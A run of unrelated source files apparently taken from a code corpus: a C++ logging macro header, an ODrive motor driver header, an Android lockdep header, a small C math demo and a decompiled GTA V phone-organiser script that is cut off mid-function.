LOG_ERROR_INVALID_ARGUMENT = -15, LOG_ERROR_NOT_IMEPLEMENT = -16, LOG_WARNING = -1, //!< LOG_WARNING LOG_INFORM = 0, //!< LOG_INFORM LOG_LOG = 1, //!< LOG_LOG LOG_VERBOSE = 10, //!< LOG_VERBOSE LOG_DEBUG = -30 //!< LOG_DEBUG }; // CHECK_MEMBER_FUNCTION(has_member_function_print, print); /** * * @brief log message m_buffer, */ class Logger : public std::ostringstream { typedef std::ostringstream base_type; typedef Logger this_type; public: Logger(); Logger(int lv); ~Logger(); int get_buffer_length() const; void flush(); void surffix(std::string const& s); void endl(); void not_endl(); private: public: template <typename T> inline this_type& push( T const& value // , std::enable_if_t<!has_member_function_print<T, std::ostream &>::value> *__p = nullptr ) { current_line_char_count_ -= get_buffer_length(); *dynamic_cast<base_type*>(this) << (value); current_line_char_count_ += get_buffer_length(); if (current_line_char_count_ > get_line_width()) { endl(); } return *this; } // template <typename T> // inline this_type &push(T const &value, // std::enable_if_t<has_member_function_print<T, std::ostream &>::value> *__p = nullptr) { // current_line_char_count_ -= get_buffer_length(); // value.print(*dynamic_cast<base_type *>(this)); // current_line_char_count_ += get_buffer_length(); // if (current_line_char_count_ > get_line_width()) { endl(); } // // return *this; // } template <typename T> inline this_type const& push(T const& value) const { const_cast<this_type&>(*this).push(value); return *this; } typedef Logger& (*LoggerStreamManipulator)(Logger&); Logger& push(LoggerStreamManipulator manip) { // call the function, and return it's entity return manip(*this); } /** * * define the custom endl for this stream. * note how it matches the `LoggerStreamManipulator` * function signature * * static this_type& endl(this_type& stream) * { * // print a new line * std::cout << std::endl; * * // do other stuff with the stream * // std::cout, for example, will flush the stream * stream << "Called Logger::endl!" << std::endl; * * return stream; * } * * * * */ int m_level_ = -10000; int current_line_char_count_; bool endl_; }; // this is the function signature of std::endl typedef std::basic_ostream<char, std::char_traits<char>> StdCoutType; typedef StdCoutType& (*StandardEndLine)(StdCoutType&); //! define an operator<< to take in std::endl inline Logger& operator<<(Logger& self, StandardEndLine manip) { // call the function, but we cannot return it's entity manip(dynamic_cast<std::ostringstream&>(self)); return self; } inline Logger& operator<<(Logger& self, const char* arg) { return self.push(arg); } template <typename Arg> inline Logger& operator<<(Logger& self, Arg const& arg) { return self.push(arg); } // template<typename Arg> // Logger &operator<<(Logger &L, Arg const &arg) //{ // return L.push(arg); //} // // template<typename Arg> // Logger const &operator<<(Logger const &L, Arg const &arg) //{ // return L.push(arg); //} // // inline Logger &operator<<(Logger &L, std::string const &arg) //{ // return L.push(arg); //} // // inline Logger const &operator<<(Logger const &L, std::string const &arg) //{ // return L.push(arg); //} /** * @name manip for Logger * @{ **/ inline Logger& endl(Logger& self) { self << std::endl; self.flush(); return self; } inline Logger& done(Logger& self) { self.surffix("[DONE]"); return self; } inline Logger& failed(Logger& self) { self.surffix("\e[31;1m[FAILED]\e[0m"); return self; } inline Logger& start(Logger& self) { self.surffix("[START]"); return self; } inline Logger& flush(Logger& self) { self.flush(); return self; } // inline std::string ShowBit(unsigned long s) { return std::bitset<64>(s).to_string(); } inline std::ostringstream& _make_error_msg(std::ostringstream& os) { return os; } template <typename T> std::ostringstream& _make_msg(std::ostringstream& os, T const& first) { os << first; return os; } template <typename T, typename... Others> std::ostringstream& _make_msg(std::ostringstream& os, T const& first, Others const&... others) { _make_msg(os, (first)); return _make_msg(os, (others)...); } template <typename... Others> std::string make_msg(Others const&... others) { std::ostringstream buffer; _make_msg(buffer, (others)...); return buffer.str(); } /** @} */ } // namespace logger /** * @name Shortcuts for logging * @{ */ #define SHORT_FILE_LINE_STAMP "[" << (__FILE__) << ":" << (__LINE__) << "] " #define FILE_LINE_STAMP "From [ " << (__FILE__) << ":" << (__LINE__) << ":0: " << (__PRETTY_FUNCTION__) << " ] " #define FILE_LINE_STAMP_STRING \ ("[" + std::string(__FILE__) + ":" + std::to_string(__LINE__) + ":0: " + std::string(__PRETTY_FUNCTION__) + "] ") #define MAKE_ERROR_MSG(...) \ sp::logger::make_msg(" From [", (__FILE__), ":", (__LINE__), ":0: ", (__PRETTY_FUNCTION__), "] \t", __VA_ARGS__) // sp::logger::make_error_msg( (__FILE__),(__LINE__), (__PRETTY_FUNCTION__),__VA_ARGS__) #define DONE sp::logger::done #define WARNING sp::logger::Logger(sp::logger::LOG_WARNING) << FILE_LINE_STAMP #define TIME_STAMP \ sp::logger::Logger(sp::logger::LOG_VERBOSE) \ << (__FILE__) << ":" << (__LINE__) << ":0: " << (__PRETTY_FUNCTION__) #define FUNCTION_START sp::logger::Logger(sp::logger::LOG_VERBOSE) << FILE_LINE_STAMP << " START " << std::endl #define FUNCTION_END sp::logger::Logger(sp::logger::LOG_VERBOSE) << FILE_LINE_STAMP << " END " << std::endl #define INFORM sp::logger::Logger(sp::logger::LOG_INFORM) #define NEED_OPTIMIZATION \ sp::logger::Logger(sp::logger::LOG_VERBOSE) \ << FILE_LINE_STAMP << "This function should be optimized!" << std::endl #define UNSUPPORTED \ sp::logger::Logger(sp::logger::LOG_WARNING) \ << FILE_LINE_STAMP << "UNSUPPORTED!! I won't do this!" << std::endl #define UNIMPLEMENTED \ sp::logger::Logger(sp::logger::LOG_WARNING) \ << FILE_LINE_STAMP << "Sorry, this function is not implemented! " << std::endl #define TODO \ sp::logger::Logger(sp::logger::LOG_VERBOSE) << FILE_LINE_STAMP << std::endl \ << " \e[32;1m[ TODO ]\e[0m " #define FIXME \ sp::logger::Logger(sp::logger::LOG_WARNING) << FILE_LINE_STAMP << std::endl \ << " \e[32;1m[ FIXME ]\e[0m " #define DUMMY \ sp::logger::Logger(sp::logger::LOG_WARNING) << FILE_LINE_STAMP << std::endl \ << " \e[32;1m[ DUMMY ]\e[0m " #define DO_NOTHING \ sp::logger::Logger(sp::logger::LOG_WARNING) << FILE_LINE_STAMP << "NOTHING TO DO" << std::endl #define OBSOLETE \ sp::logger::Logger(sp::logger::LOG_WARNING) << FILE_LINE_STAMP << "The function [" << __PRETTY_FUNCTION__ \ << "] is obsolete. Please do not use it any more." #define CHANGE_INTERFACE(_MSG_) \ sp::logger::Logger(sp::logger::LOG_WARNING) \ << "[" << __FILE__ << ":" << __LINE__ << ":" << (__PRETTY_FUNCTION__) << "]:" \ << "The function [" << __PRETTY_FUNCTION__ << "] is obsolete. Please use [" << _MSG_ << "] inside." #define UNIMPLEMENTED2(_MSG_) THROW_EXCEPTION_RUNTIME_ERROR(_MSG_) #define UNDEFINE_FUNCTION \ sp::logger::Logger(sp::logger::LOG_WARNING) \ << "[" << __FILE__ << ":" << __LINE__ << ":" << (__PRETTY_FUNCTION__) << "]:" \ << "This function is not defined!" #define NOTHING_TODO \ sp::logger::Logger(sp::logger::LOG_VERBOSE) \ << "[" << __FILE__ << ":" << __LINE__ << ":" << (__PRETTY_FUNCTION__) << "]:" \ << "oh....... NOTHING TODO!" #define DEADEND \ sp::logger::Logger(sp::logger::LOG_DEBUG) \ << "[" << __FILE__ << ":" << __LINE__ << ":" << (__PRETTY_FUNCTION__) << "]:" \ << "WHAT YOU DO!! YOU SHOULD NOT GET HERE!!" #define LOGGER sp::logger::Logger(sp::logger::LOG_LOG) << FILE_LINE_STAMP #define MESSAGE sp::logger::Logger(sp::logger::LOG_MESSAGE) #define VERBOSE sp::logger::Logger(sp::logger::LOG_VERBOSE) << FILE_LINE_STAMP #define SHOW_ERROR sp::logger::Logger(sp::logger::LOG_ERROR) << FILE_LINE_STAMP #define SHOW_WARNING sp::logger::Logger(sp::logger::LOG_WARNING) << FILE_LINE_STAMP #define RUNTIME_ERROR sp::logger::Logger(sp::logger::LOG_ERROR_RUNTIME) << FILE_LINE_STAMP #define LOGIC_ERROR sp::logger::Logger(sp::logger::LOG_ERROR_LOGICAL) << FILE_LINE_STAMP #define BAD_CAST sp::logger::Logger(sp::logger::LOG_ERROR_BAD_CAST) << FILE_LINE_STAMP #define OUT_OF_RANGE sp::logger::Logger(sp::logger::LOG_ERROR_OUT_OF_RANGE) << FILE_LINE_STAMP #define INVALID_ARGUMENT sp::logger::Logger(sp::logger::LOG_ERROR_INVALID_ARGUMENT) << FILE_LINE_STAMP #define DOMAIN_ERROR sp::logger::Logger(sp::logger::LOG_ERROR_DOMAIN) << FILE_LINE_STAMP #define EXCEPTION_BAD_ALLOC sp::logger::Logger(sp::logger::LOG_ERROR_OUT_OF_RANGE) << FILE_LINE_STAMP //#define THROW_EXCEPTION(_MSG_) { {logger::Logger(sp::logger::LOG_ERROR) //<<"["<<__FILE__<<":"<<__LINE__<<":"<< //(__PRETTY_FUNCTION__)<<"]:\n\t"<<(_MSG_);}throw(std::logic_error("error"));} // #define THROW_EXCEPTION(_MSG_) \ { \ RUNTIME_ERROR << _MSG_ << std::endl; \ } // ////#define THROW_EXCEPTION_RUNTIME_ERROR(_MSG_) { {logger::Logger(sp::logger::LOG_ERROR) ///<<"["<<__FILE__<<":"<<__LINE__<<":"<< ///(__PRETTY_FUNCTION__)<<"]:\n\t"<<(_MSG_);}throw(std::runtime_error("runtime error"));} // #define THROW_EXCEPTION_RUNTIME_ERROR(...) \ { \ auto msg = MAKE_ERROR_MSG(__VA_ARGS__); \ sp::logger::Logger(sp::logger::LOG_ERROR_RUNTIME) << msg; \ throw std::runtime_error(msg); \ } // ////#define THROW_EXCEPTION_LOGIC_ERROR(_MSG_) {{logger::Logger(sp::logger::LOG_ERROR) ///<<"["<<__FILE__<<":"<<__LINE__<<":"<< ///(__PRETTY_FUNCTION__)<<"]:\n\t"<<(_MSG_);}throw(std::logic_error("logic error"));} #define THROW_EXCEPTION_LOGIC_ERROR(_MSG_) \ { \ LOGIC_ERROR << _MSG_ << std::endl; \ } // ////#define THROW_EXCEPTION_OUT_OF_RANGE(_MSG_) { {logger::Logger(sp::logger::LOG_ERROR) ///<<"["<<__FILE__<<":"<<__LINE__<<":"<< ///(__PRETTY_FUNCTION__)<<"]:\n\t"<<(_MSG_);}throw(std::out_of_range("out of entity_id_range"));} #define THROW_EXCEPTION_OUT_OF_RANGE(...) \ { \ auto msg = MAKE_ERROR_MSG("OUT OF RANGE! ",__VA_ARGS__); \ sp::logger::Logger(sp::logger::LOG_ERROR_OUT_OF_RANGE) << msg; \ throw std::out_of_range(msg); \ } // //#define THROW_EXCEPTION_BAD_ALLOC(_SIZE_, _error_) sp::logger::Logger(sp::logger::LOG_ERROR)<<__FILE__<<"["<<__LINE__<<"]: "<< "Can not Serialize enough memory! [ " \ // << _SIZE_ / 1024.0 / 1024.0 / 1024.0 << " GiB ]" << std::endl; throw(_error_); // #define THROW_EXCEPTION_BAD_ALLOC(_SIZE_) \ { \ LOGGER << FILE_LINE_STAMP << "Can not get enough memory! [ " << _SIZE_ / 1024.0 / 1024.0 / 1024.0 << " GiB ]" \ << std::endl; \ throw(std::bad_alloc()); \ } // // #define THROW_EXCEPTION_BAD_CAST(_FIRST_, _SECOND_) \ { \ BAD_CAST << "Can not cast " << (_FIRST_) << " to " << (_SECOND_) << "" << std::endl; \ } // ////#define THROW_EXCEPTION_PARSER_ERROR(_MSG_) {{ /// sp::logger::Logger(sp::logger::LOG_ERROR)<<"["<<__FILE__<<":"<<__LINE__<<":"<< ///(__PRETTY_FUNCTION__)<<"]:"<<"\n\tConfigure fails :"<<(_MSG_) ;}throw(std::runtime_error(""));} #define THROW_EXCEPTION_PARSER_ERROR(...) throw(std::logic_error(MAKE_ERROR_MSG("Configure fails:", __VA_ARGS__))); #define PARSER_WARNING(_MSG_) \ { \ { \ sp::logger::Logger(sp::logger::LOG_WARNING) \ << "[" << __FILE__ << ":" << __LINE__ << ":" << (__PRETTY_FUNCTION__) << "]:" \ << "\n\tConfigure fails :" << (_MSG_); \ } \ throw(std::runtime_error("")); \ } #define TRY_IT(_CMD_) \ try \ { \ _CMD_; \ } \ catch (std::exception const& _error) \ { \ RUNTIME_ERROR << "[" << __STRING(_CMD_) << "]" << _error.what() << std::endl; \ } #define TRY_IT1(_CMD_, ...) \ try \ { \ _CMD_; \ } \ catch (std::exception const& error) \ { \ THROW_EXCEPTION_RUNTIME_ERROR(__VA_ARGS__, ":", "[", __STRING(_CMD_), "]", error.what()); \ } //#ifndef NDEBUG #define CHECK(_MSG_) \ std::cerr << "From [" << (__FILE__) << ":" << (__LINE__) << ":0: " << (__PRETTY_FUNCTION__) << "] \n \t" \ << __STRING((_MSG_)) << " = " << std::boolalpha << (_MSG_) << std::endl #define SHOW(_MSG_) \ sp::logger::Logger(sp::logger::LOG_VERBOSE) << __STRING(_MSG_) << "\t= " << (_MSG_) << std::endl; #define SHOW_HEX(_MSG_) \ sp::logger::Logger(sp::logger::LOG_VERBOSE) \ << __STRING(_MSG_) << "\t= " << std::hex << (_MSG_) << std::dec << std::endl; //#else //# define CHECK(_MSG_) //#endif #define REDUCE_CHECK(_MSG_) \ { \ auto __a = (_MSG_); \ __a = reduce(__a); \ if (GLOBAL_COMM.get_rank() == 0) \ { \ sp::logger::Logger(sp::logger::LOG_DEBUG) \ << " " << (__FILE__) << ": line " << (__LINE__) << ":" << (__PRETTY_FUNCTION__) \ << "\n\t GLOBAL_SUM:" << __STRING(_MSG_) << "=" << __a; \ } \ } #define RIGHT_COLUMN(_FIRST_) MESSAGE << std::setw(15) << std::right << _FIRST_ #define LEFT_COLUMN(_FIRST_) MESSAGE << std::setw(15) << std::left << _FIRST_ #define INFORM2(_MSG_) sp::logger::Logger(sp::logger::LOG_INFORM) << __STRING(_MSG_) << " = " << _MSG_; #define DOUBLELINE std::setw(sp::logger::get_line_width()) << std::setfill('=') << "=" #define SINGLELINE std::setw(sp::logger::get_line_width()) << std::setfill('-') << "-" #define SEPERATOR(_C_) std::setw(sp::logger::get_line_width()) << std::setfill(_C_) << _C_ #define CMD VERBOSE << "CMD:\t" #define LOG_CMD(_CMD_) \ try \ { \ sp::logger::Logger __logger(sp::logger::LOG_VERBOSE); \ __logger << "CMD:\t" << std::string(__STRING(_CMD_)); \ _CMD_; \ __logger << DONE; \ } \ catch (std::exception const& error) \ { \ RUNTIME_ERROR << ("[", __STRING(_CMD_), "]", error.what()) << std::endl; \ } #define LOG_CMD_DESC(_DESC_, _CMD_) \ try \ { \ sp::logger::Logger __logger(sp::logger::LOG_VERBOSE); \ __logger << "CMD:\t" << _DESC_; \ _CMD_; \ __logger << DONE; \ } \ catch (std::exception const& error) \ { \ RUNTIME_ERROR << ("[", __STRING(_CMD_), "]", error.what()) << std::endl; \ } #define VERBOSE_CMD(_CMD_) \ { \ sp::logger::Logger __logger(sp::logger::LOG_VERBOSE); \ __logger << __STRING(_CMD_); \ try \ { \ _CMD_; \ __logger << DONE; \ } \ catch (...) \ { \ __logger << sp::logger::failed; \ } \ } #define LOG_CMD1(_LEVEL_, _MSG_, _CMD_) \ { \ auto __logger = sp::logger::Logger(_LEVEL_); \ __logger << _MSG_; \ _CMD_; \ __logger << DONE; \ } #ifdef __CUDA__ #define FE_CMD(_CMD_) _CMD_ #else #define FE_CMD(_CMD_) \ _Pragma("STDC_FENV_ACCESS = on") \ { \ _CMD_; \ if (std::fetestexcept(FE_ALL_EXCEPT) & FE_INVALID) \ { \ WARNING << " FE_INVALID is raised! " \ << " [" << __STRING(_CMD_) << "]" << std::endl; \ } \ std::feclearexcept(FE_ALL_EXCEPT); \ } #endif //#define LOG_CMD2(_MSG_, _CMD_) {auto //__logger=logger::Logger(sp::logger::LOG_LOG);__logger<<_MSG_<<__STRING(_CMD_);_CMD_;__logger<<DONE;} #define CHECK_BIT(_MSG_) \ std::cout << std::setfill(' ') << std::setw(10) << __STRING(_MSG_) << " = 0b" << sp::logger::ShowBit(_MSG_) \ << std::endl #define SHOW_BIT(_MSG_) \ std::cout << std::setfill(' ') << std::setw(80) << __STRING(_MSG_) << " = 0b" << sp::logger::ShowBit(_MSG_) \ << std::endl #define CHECK_HEX(_MSG_) \ std::cout << std::setfill(' ') << std::setw(40) << __STRING(_MSG_) << " = 0x" << std::setw(20) \ << std::setfill('0') << std::hex << (_MSG_) << std::dec << std::endl #ifndef NDEBUG #define SP_CMD(_CMD_) \ { \ std::feclearexcept(FE_ALL_EXCEPT); \ _CMD_; \ int _error = std::fetestexcept(FE_ALL_EXCEPT); \ std::feclearexcept(FE_ALL_EXCEPT); \ if (_error & FE_INVALID) \ { \ RUNTIME_ERROR << "FE_INVALID is raised! [" << __STRING(_CMD_) << "]" << std::endl; \ } \ } #else #define SP_CMD(_CMD_) _CMD_ #endif /** @} */ /** @} defgroup Logging*/ #ifdef NDEBUG #define ASSERT(_COND_) #else #define ASSERT(_COND_) \ if (!(_COND_)) \ { \ throw std::runtime_error(FILE_LINE_STAMP_STRING + "Assertion \"" + __STRING(_COND_) + "\" failed! Abort."); \ } #endif #define TRY_CALL(_CMD_) \ try \ { \ _CMD_; \ } \ catch (std::exception const& _msg_) \ { \ throw std::runtime_error(_msg_.what() + std::string("\n from:") + FILE_LINE_STAMP_STRING + \ "\"" __STRING(_CMD_) + "\" "); \ } class NotImplementedException : public std::logic_error { public: NotImplementedException(std::string const& prefix = "") : std::logic_error{prefix + " Function is not implemented."} {} }; #define NOT_IMPLEMENTED \ { \ sp::logger::Logger(sp::logger::LOG_ERROR_NOT_IMEPLEMENT) << FILE_LINE_STAMP; \ throw sp::NotImplementedException(FILE_LINE_STAMP_STRING); \ } } // namespace sp #endif /* SP_LOGGER_H_ */
0.996094
high
Firmware/FFBoard/UserExtensions/Inc/Odrive.h
samulg/OpenFFBoard
0
819393
<reponame>samulg/OpenFFBoard /* * Odrive.h * * Created on: Mar 17, 2021 * Author: Xivitazo & Samullg */ #ifndef ODRIVE_H_ #define ODRIVE_H_ #include <MotorDriver.h> #include <Encoder.h> #include "cppmain.h" #include "CommandHandler.h" #include "UartHandler.h" #include "target_constants.h" #include <string> #include <iostream> #include <sstream> using namespace std; enum OdrvAxisState { AXIS_STATE_UNDEFINED = 0, AXIS_STATE_IDLE =1, AXIS_STATE_STARTUP_SEQUENCE = 2, AXIS_STATE_FULL_CALIBRATION_SEQUENCE = 3, AXIS_STATE_MOTOR_CALIBRATION = 4, AXIS_STATE_SENSORLESS_CONTROL =5, AXIS_STATE_ENCODER_INDEX_SEARCH =6, AXIS_STATE_ENCODER_OFFSET_CALIBRATION=7, AXIS_STATE_CLOSED_LOOP_CONTROL=8, AXIS_STATE_LOCKIN_SPIN=9, AXIS_STATE_ENCODER_DIR_FIND=10, AXIS_STATE_HOMING = 11 }; enum OdrvMotorType {MOTOR_TYPE_HIGH_CURRENT =0, MOTOR_TYPE_GYMBAL =2, MOTOR_TYPE_ACIM=3 }; enum OdrvControlMode {CONTROL_MODE_VOLTAGE_CONTROL=0, CONTROL_MODE_TORQUE_CONTROL=1, CONTROL_MODE_VELOCITY_CONTROL=2, CONTROL_MODE_POSITION_CONTROL=3 }; enum OdrvInputMode {INPUT_MODE_INACTIVE =0, INPUT_MODE_PASSTHROUGH=1, INPUT_MODE_VEL_RAMP=2, INPUT_MODE_POS_FILTER=3, INPUT_MODE_MIX_CHANNELS=4, INPUT_MODE_TRAP_TRAJ=5, INPUT_MODE_TORQUE_RAMP=6, INPUT_MODE_MIRROR=7 }; class Odrive: public MotorDriver, public Encoder, public CommandHandler, public UartHandler{ public: Odrive(); virtual ~Odrive(); static ClassIdentifier info; const ClassIdentifier getInfo(); void turn(int16_t power); void stop(); void start(); int32_t getPos(); void setPos(int32_t pos); uint32_t getCpr(); // Encoder counts per rotation void setCpr(uint32_t cpr); // Encoder counts per rotation //EncoderType getType(){return EncoderType::incrementalIndex;} private: UartHandler uart; float current_lim= 20; //[V] Volts because of motor_type float vel_limit= 3; //[turns/s] float calibration_current = 10; //[V] Volts because of motor_type float brake_resistance =2;// [Ohm] float pole_pairs = 4; float torque_constant = 1.58; // [A/Nm] OdrvMotorType motor_type = MOTOR_TYPE_GYMBAL; OdrvAxisState axis_state=AXIS_STATE_UNDEFINED; OdrvControlMode control_mode=CONTROL_MODE_TORQUE_CONTROL; bool active=0; float encoder_offset=0; float pos; float * requested_f=0; int* requested_i=0; bool requested_pos =0; //template <class F> void received (F* var, F val){*var=val;}; //template <class B>float getParam (string param, B* var ); void setAxisState(OdrvAxisState state); OdrvAxisState getAxisState(); void setControlMode (OdrvControlMode mode); OdrvControlMode getControlMode (); void setParam (char* param, int value); //void setParam (string param, float value); //float getParam (string param, float* var); int getParam (char* param, int* var); void getFeedback (int32_t* pos); void setTorque (float torque); bool isCalibrated (); bool calibrated = false; int counter=0; int getChecksum(char*); }; #endif /* ODRIVE_H_ */
0.980469
high
6/platforms/android-9/arch-arm/usr/include/linux/lockdep.h
HelixOS/prebuilts-ndk
0
819905
<filename>6/platforms/android-9/arch-arm/usr/include/linux/lockdep.h /**************************************************************************** **************************************************************************** *** *** This header was automatically generated from a Linux kernel header *** of the same name, to make information necessary for userspace to *** call into the kernel available to libc. It contains only constants, *** structures, and macros generated from the original header, and thus, *** contains no copyrightable information. *** **************************************************************************** ****************************************************************************/ #ifndef __LINUX_LOCKDEP_H #define __LINUX_LOCKDEP_H #include <linux/linkage.h> #include <linux/list.h> #include <linux/debug_locks.h> #include <linux/stacktrace.h> #define lock_acquire(l, s, t, r, c, i) do { } while (0) #define lock_release(l, n, i) do { } while (0) #define lockdep_init() do { } while (0) #define lockdep_info() do { } while (0) #define lockdep_init_map(lock, name, key) do { (void)(key); } while (0) #define lockdep_set_class(lock, key) do { (void)(key); } while (0) #define lockdep_set_class_and_name(lock, key, name) do { (void)(key); } while (0) #define INIT_LOCKDEP #define lockdep_reset() do { debug_locks = 1; } while (0) #define lockdep_free_key_range(start, size) do { } while (0) #define early_init_irq_lock_class() do { } while (0) #define early_boot_irqs_off() do { } while (0) #define early_boot_irqs_on() do { } while (0) #define SINGLE_DEPTH_NESTING 1 #define spin_acquire(l, s, t, i) do { } while (0) #define spin_release(l, n, i) do { } while (0) #define rwlock_acquire(l, s, t, i) do { } while (0) #define rwlock_acquire_read(l, s, t, i) do { } while (0) #define rwlock_release(l, n, i) do { } while (0) #define mutex_acquire(l, s, t, i) do { } while (0) #define mutex_release(l, n, i) do { } while (0) #define rwsem_acquire(l, s, t, i) do { } while (0) #define rwsem_acquire_read(l, s, t, i) do { } while (0) #define rwsem_release(l, n, i) do { } while (0) #endif
0.882813
high
math_numbers/math_numbers.c
denisKaranja/c-pointers
0
820417
<filename>math_numbers/math_numbers.c /* The factorial 0=>1,1=>1,2=>2,3=>6,4=>24,5=>120 @__author <NAME> Computer Science, University of Nairobi @__date 20th March, 2015 17:56:32 */ #include <stdio.h> #include "../headers/math_header.h" int main() { int i = 20, fact, square, fibo, prime; printf("\nVALUES BY REFERENCE\n"); /*factorial*/ fact = *factorial(&i); printf("%d! -> %d\n",i, fact); /*square*/ square = *get_square_ref(&i); printf("%d squared -> %d\n", i, square); /*fibonacci*/ fibo = *fibonacci(&i); printf("Fibonacci %d -> %d\n", i, fibo); /*next prime number*/ prime = *next_prime(&i); printf("Next prime from %d -> %d\n", i, prime); printf("\n\n"); return 0; }
0.855469
high
utils_container/list_ssr.impl.h
TJUSsr/SsrSTL
0
820929
<reponame>TJUSsr/SsrSTL // // Created by Monster on 2018/5/30. // #ifndef SSRSTL_LIST_SSR_IMPL_H #define SSRSTL_LIST_SSR_IMPL_H #endif //SSRSTL_LIST_SSR_IMPL_H
0.949219
low
decompiled_scripts/apporganiser.c
Seanghost117/GTA-V-Decompiled-Scripts
0
821441
#region Local Var var uLocal_0 = 0; var uLocal_1 = 0; int iLocal_2 = 0; int iLocal_3 = 0; int iLocal_4 = 0; int iLocal_5 = 0; int iLocal_6 = 0; int iLocal_7 = 0; int iLocal_8 = 0; int iLocal_9 = 0; int iLocal_10 = 0; int iLocal_11 = 0; var uLocal_12 = 0; var uLocal_13 = 0; float fLocal_14 = 0f; var uLocal_15 = 0; var uLocal_16 = 0; int iLocal_17 = 0; int iLocal_18 = 0; int iLocal_19 = 0; int iLocal_20 = 0; int iLocal_21 = 0; int iLocal_22 = 0; int iLocal_23 = 0; #endregion void __EntryFunction__() { iLocal_2 = 1; iLocal_3 = 134; iLocal_4 = 134; iLocal_5 = 1; iLocal_6 = 1; iLocal_7 = 1; iLocal_8 = 134; iLocal_9 = 1; iLocal_10 = 12; iLocal_11 = 12; fLocal_14 = 0.001f; iLocal_17 = -1; if (unk_0xED06FD5709A59F02(3)) { func_14(); unk_0xD39E529EBE5DB04F(); } func_8(); while (true) { SYSTEM::WAIT(0); if (Global_19681.f_1 != 9) { if (!iLocal_18) { iLocal_18 = 1; } else if (Global_19663) { if (!iLocal_19) { iLocal_19 = 1; func_7(Global_19662, "SET_DATA_SLOT_EMPTY", 5f, -1082130432, -1082130432, -1082130432, -1082130432); func_4(Global_19662, 1); func_7(Global_19662, "DISPLAY_VIEW", 5f, -1082130432, -1082130432, -1082130432, -1082130432); } else { func_3(); } } if (func_2()) { func_14(); } } if (func_1()) { func_14(); } } } int func_1() { if (((Global_19681.f_1 == 1 || Global_19681.f_1 == 3) || Global_19681.f_1 == 0) || Global_19625 == 1) { Global_19668 = 1; return 1; } return 0; } int func_2() { if (Global_8157 == 1 || Global_19681.f_1 < 7) { Global_19668 = 1; return 1; } return 0; } void func_3() { if (!iLocal_20) { if (unk_0x22D6FB6153F774D3(2, 172)) { iLocal_20 = 1; func_7(Global_19662, "SET_INPUT_EVENT", 1f, -1082130432, -1082130432, -1082130432, -1082130432); } } else if (!unk_0x22D6FB6153F774D3(2, 172)) { iLocal_20 = 0; } if (!iLocal_21) { if (unk_0x22D6FB6153F774D3(2, 173)) { iLocal_21 = 1; func_7(Global_19662, "SET_INPUT_EVENT", 3f, -1082130432, -1082130432, -1082130432, -1082130432); } } else if (!unk_0x22D6FB6153F774D3(2, 173)) { iLocal_21 = 0; } if (!iLocal_22) { if (unk_0x22D6FB6153F774D3(2, 174)) { iLocal_22 = 1; func_7(Global_19662, "SET_INPUT_EVENT", 4f, -1082130432, -1082130432, -1082130432, -1082130432); } } else if (!unk_0x22D6FB6153F774D3(2, 174)) { iLocal_22 = 0; } if (!iLocal_23) { if (unk_0x22D6FB6153F774D3(2, 175)) { iLocal_23 = 1; func_7(Global_19662, "SET_INPUT_EVENT", 2f, -1082130432, -1082130432, -1082130432, -1082130432); } } else if (!unk_0x22D6FB6153F774D3(2, 175)) { iLocal_23 = 0; } } void func_4(int iParam0, bool bParam1) { int iVar0; int iVar1; bool bVar2; int iVar3; int iVar4; int iVar5; char* sVar6; if (Global_96042 == Global_96043) { if (!bParam1) { return; } } if (iParam0 == 0) { return; } if (!unk_0x95EF219D38B20CFF(iParam0)) { return; } func_8(); iVar0 = Global_96046; iVar1 = Global_96045; bVar2 = true; iVar3 = 0; iVar4 = 0; iVar5 = 0; while (bVar2) { iVar4 = iVar3; iVar3 = Global_96047[iVar0 /*25*/][iVar1]; if (!iVar3 == iVar4) { if (!iVar3 == 0) { switch (iVar0) { case 0: sVar6 = "fSu"; break; case 1: sVar6 = "fMo"; break; case 2: sVar6 = "fTu"; break; case 3: sVar6 = "fWe"; break; case 4: sVar6 = "fTh"; break; case 5: sVar6 = "fFr"; break; case 6: sVar6 = "fSa"; break; } unk_0x830F007E19C63E14(iParam0, "SET_DATA_SLOT_EMPTY"); unk_0xAD291B8F75D737AD(iVar5); unk_0xE1FDD153F5858534(); unk_0x830F007E19C63E14(iParam0, "SET_DATA_SLOT"); unk_0xAD291B8F75D737AD(5); unk_0xAD291B8F75D737AD(iVar5); unk_0xAD291B8F75D737AD(iVar1); unk_0x49B9B8101B158AEE(0f); unk_0x49B9B8101B158AEE(-1f); func_6(sVar6); func_6(func_5(iVar3)); unk_0xE1FDD153F5858534(); iVar5++; } } iVar1++; if (iVar1 > 23) { iVar1 = 0; iVar0++; } if (iVar0 > 6) { iVar0 = 0; } if (iVar0 == Global_96046 && iVar1 == Global_96045) { bVar2 = false; } } Global_96043 = Global_96042; } char* func_5(int iParam0) { switch (iParam0) { case 0: return "ORG_EV_0"; break; case 1: return "ORG_EV_1"; break; } return "ORG_EV_0"; } void func_6(char* sParam0) { unk_0xB23270F3D5E62FDE(sParam0); unk_0x2042E9CA4306F725(); } void func_7(int iParam0, char* sParam1, float fParam2, float fParam3, float fParam4, float fParam5, float fParam6) { unk_0x830F007E19C63E14(uParam0, sParam1); unk_0xAD291B8F75D737AD(SYSTEM::ROUND(fParam2)); if (fParam3 != -1f) { unk_0xAD291B8F75D737AD(SYSTEM::ROUND(fParam3)); } if (fParam4 != -1f) { unk_0xAD291B8F75D737AD(SYSTEM::ROUND(fParam4)); } if (fParam5 != -1f) { unk_0xAD291B8F75D737AD(SYSTEM::ROUND(fParam5)); } if (fParam6 != -1f) { unk_0xAD291B8F75D737AD(SYSTEM::ROUND(fParam6)); } unk_0xE1FDD153F5858534(); } void func_8() { int iVar0; int iVar1; int iVar2; int iVar3; int iVar4; int iVar5; int iVar6; int iVar7; int iVar8; int iVar9; int iVar10; int iVar11; if (!Global_96041) { Global_96225 = unk_0xF225116F449A5CC6(); Global_96224 = unk_0x371CFD525753F70C(); Global_96223 = unk_0x1F596C965B00E290(); Global_96041 = 1; Global_96046 = unk_0x92857E82C024821B(); Global_96045 = unk_0x1F596C965B00E290(); func_12(); return; } iVar0 = unk_0xF225116F449A5CC6(); iVar1 = unk_0x371CFD525753F70C(); iVar2 = unk_0x1F596C965B00E290(); iVar3 = Global_96225; iVar4 = Global_96224; iVar5 = Global_96223; iVar6 = 0; iVar7 = 0; iVar8 = 0; iVar9 = 0; iVar10 = 0; iVar11 = func_9(iVar4, iVar3, iVar1, iVar0); if (iVar11 > 0) { iVar10 = 0; if (iVar11 > 7) { iVar8 = 0; iVar9 = 0; iVar8 = 0; while (iVar8 < 7) { iVar9 = 0; while (iVar9 < 24) { if (!Global_96047[iVar6 